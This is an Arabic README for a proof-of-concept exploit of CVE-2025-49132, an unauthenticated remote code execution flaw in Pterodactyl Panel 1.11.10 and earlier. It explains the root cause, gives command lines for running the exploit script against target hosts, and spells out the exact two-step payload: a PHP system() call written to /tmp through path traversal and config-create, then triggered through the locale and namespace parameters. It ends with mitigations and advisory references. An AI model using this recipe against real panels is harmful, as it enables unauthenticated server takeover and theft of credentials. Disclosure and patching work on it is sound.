CVE-2025-49132

Pterodactyl Panel - تنفيذ كود عن بعد غير مصادق عليه (RCE)

🔎 ملخص

CVE‑2025‑49132 هي ثغرة تنفيذ كود عن بعد حرجة تؤثر على Pterodactyl Panel <= 1.11.10.

يمكن لمهاجم غير مصادق استغلال التحقق غير السليم من المدخلات في نقطة النهاية /locales/locale.json لتنفيذ أوامر نظام عشوائية.

تم التصحيح في الإصدار: 1.11.11

📌 التأثير

يسمح الاستغلال الناجح بـ:

• تنفيذ كود عن بعد غير مصادق عليه
• قراءة ملفات حساسة (مثل .env)
• استخراج بيانات اعتماد قاعدة البيانات
• اختراق كامل للخادم

الخطورة: حرجة

🧠 السبب الجذري

توجد الثغرة بسبب التحقق غير السليم من:

• locale parameter
• namespace parameter

يمكن للمهاجم:

1. إساءة استخدام اجتياز الدليل (../../../../../)
2. استغلال config-create
3. كتابة حمولات PHP عشوائية إلى /tmp
4. تشغيل التنفيذ عبر تحميل نطاق مخصص (namespace) مصمم

تصنيف الضعف: CWE-94 -- التحكم غير السليم في توليد الكود

🚀 إثبات المفهوم (PoC)

الاستخدام

python3 CVE-2025-49132-dbs.py --target <host> --cmd "<command>" [--path <pear_path>]

أمثلة

python3 CVE-2025-49132-dbs.py --target victim.com --cmd "whoami"
python3 CVE-2025-49132-dbs.py --target 192.168.1.10 --cmd "id" --path /usr/local/lib/php/PEAR

المسار الافتراضي:

/usr/share/php/PEAR

احصل على المسار الصحيح من صفحة /phpinfo.php

🛠 تدفق الاستغلال

الخطوة 1 - كتابة الحمولة

يقوم المهاجم بحقن حمولة PHP خبيثة في /tmp/payload.php باستخدام:

/<?=system('id')?>+/tmp/payload.php

الخطوة 2 --- تشغيل التنفيذ

من خلال استدعاء:

?locale=../../../../../tmp&namespace=payload

يقوم الخادم بتنفيذ PHP المحقون.

🛡 التخفيف

• الترقية إلى Pterodactyl Panel >= 1.11.11
• تعقيم مدخلات locale و namespace
• تعطيل دوال PHP الخطرة
• تقييد تعرض نقاط النهاية غير الضرورية

📚 المراجع

• GitHub Advisory: GHSA-24wv-6c99-f843
• CVE-2025-49132
• Pterodactyl Panel v1.11.11 Patch Commit